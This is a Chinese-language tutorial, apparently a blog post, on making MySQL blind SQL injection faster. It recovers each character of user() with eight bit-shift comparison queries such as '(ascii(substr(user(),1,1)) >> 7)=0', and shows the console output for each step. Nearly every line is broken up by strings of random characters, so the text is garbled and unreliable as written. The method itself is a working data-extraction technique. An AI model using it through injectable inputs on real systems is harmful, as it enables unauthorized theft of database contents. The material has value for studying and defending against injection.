关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
1 T: @4 p) f) ^- c9 J9 U( [


下面将以查询mysql数据库当中user()的第一位为例:

/ U( }* f; F- |+ W, n) }, c3 O5 x

/ N* H* M, o8 D8 u; E  g) R6 u3 j2 mps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
: {( g! q* T4 [( I


首先执行如下sql语句:



mysql> select (ascii((substr(user(),1,1))) >> 7)=0;


, v6 k, d) v2 D4 c
% Q5 F" @: l0 g我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
! s6 H, J! M  ^" u& K
: M+ U- [2 M6 h0 `! g4 V) T

' q( o7 d1 K5 k* N. n* n0 v第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
8 i/ s+ t9 S5 N- P
5 N) _2 t7 N% a

如果运算结果为1,说明第一位为0,不为1

* B* Y  u# h; y3 H+ O

5 a/ B+ s; }3 B( ~4 G; f+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |
) a, ^7 o/ L6 K- V
+————————————–+
( L3 o) r7 |. N
* P$ m* z: L" w) s, I* W: F) H  F| 1 |

: p+ v' w/ r4 z/ Z8 K- ~6 X+————————————–+
3 x. I* V: @  N/ b( V" V' @
1 row in set (0.00 sec)
4 e- r2 L3 Q; i
这样我们就确定这个8bit的ascii的第一位为0
6 i, _4 M9 R5 C7 d8 C
5 Z# H4 w9 I: }- H0 D% @

% T7 I# y" h0 F) W$ D  h& @第二次我们来做6次右偏移来确定前两位

1 |! L* a5 z0 ~; `1 v0 B! n3 p% H
+ |0 t  X. O/ C
前两位可能是01或00,即依然可以与0做比较,
4 h$ M) ?- {" W' F1 P$ o: e7 q! F
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;

+————————————–+
# c) T4 o! L. Y9 a: R
; o) j9 D  V: t+ Q0 y; L+ m6 || (ascii((substr(user(),1,1))) >> 6)=0 |
* W, d/ I3 I% ?. B1 Q) Y
+————————————–+
! v4 d( L8 j3 d8 `
| 0 |

+————————————–+
! ?( ~' ~0 {/ }3 F- E2 b% G5 ^
1 row in set (0.00 sec)
" M# ~" u2 k* k9 S

4 C: R2 {* J# O/ ]9 v  y
. `/ B# Y' l  P4 v! m结果为0,即第二位为1

* Z) t0 v2 x" G0 u1 v. o( d
/ R2 E" d+ I/ O1 _. T" Y5 B
/ k4 S- D+ Y& t" ^开始猜测前三位为010或011



让我们看看010和011的ascii码是多少

( i3 A/ W# x/ N7 p6 H. T
! k$ R9 J: G( b* F8 d
分别查询select b’011′ select b’010′

) d, a+ E( N7 E! P6 n* z

获得结果 010 = 2 011 = 3
5 M9 o! l7 c0 k- V. K


4 C& n1 q0 H8 A执行如下sql:
3 S. b: z  _' [' E: M
# J+ C' o* P* l9 m4 Z2 J4 \4 O

+ j( }5 M4 }& E/ {/ R3 Lmysql> select (ascii((substr(user(),1,1))) >> 5)=2;

" U. X* R% c  }/ _% p7 r+————————————–+
1 A; r  v" `% i0 U# m% x! K
1 z6 {  w2 V$ a) c| (ascii((substr(user(),1,1))) >> 5)=2 |

% e( x2 a4 o5 @3 L- I1 p% t- S: G+————————————–+

| 0 |

+————————————–+

即前三位不为010,而是011

( z( K" c+ r: N1 s- j) b

直到获得最后一位

- `; {' h( s1 l) ]! |8 `

最终结果为:01110010



7 g0 J+ h2 \8 U" p转换一下:
2 |2 u" S4 H3 H9 Z5 \! X! V
7 C# _2 F8 J/ U. \. y. y9 ]" m

select b’01110010′
5 G4 I9 @: t- Y! I
/ A- l. X# r2 S0 [& M/ E& L

) n7 p& Z7 d( }+ R3 k' x查询结果

5 H* O; H& t/ S' G& [# g8 D0 R

+————-+
- K, d5 j$ }9 k$ D
" Y- U) Z. B- C1 R5 a% V| b’01110010′ |
0 G; D; Q& V5 l3 q  \
+————-+
" e+ V' p; l) ^; Z
| r |
3 b  T- ^1 r3 W0 J% r( l" s/ i
- o- L. b  Z" h; Y3 `; ]. v+————-+

7 b5 n3 P) t3 ^7 T, Z1 row in set (0.00 sec)
6 ?9 E& Y9 v# A* l# N! m" r


7 L4 c7 ?$ R, j  ~7 m这样我们就获得了user()的第一位.其它位依此类推
: f" X& a- s1 ^  b! z" w( M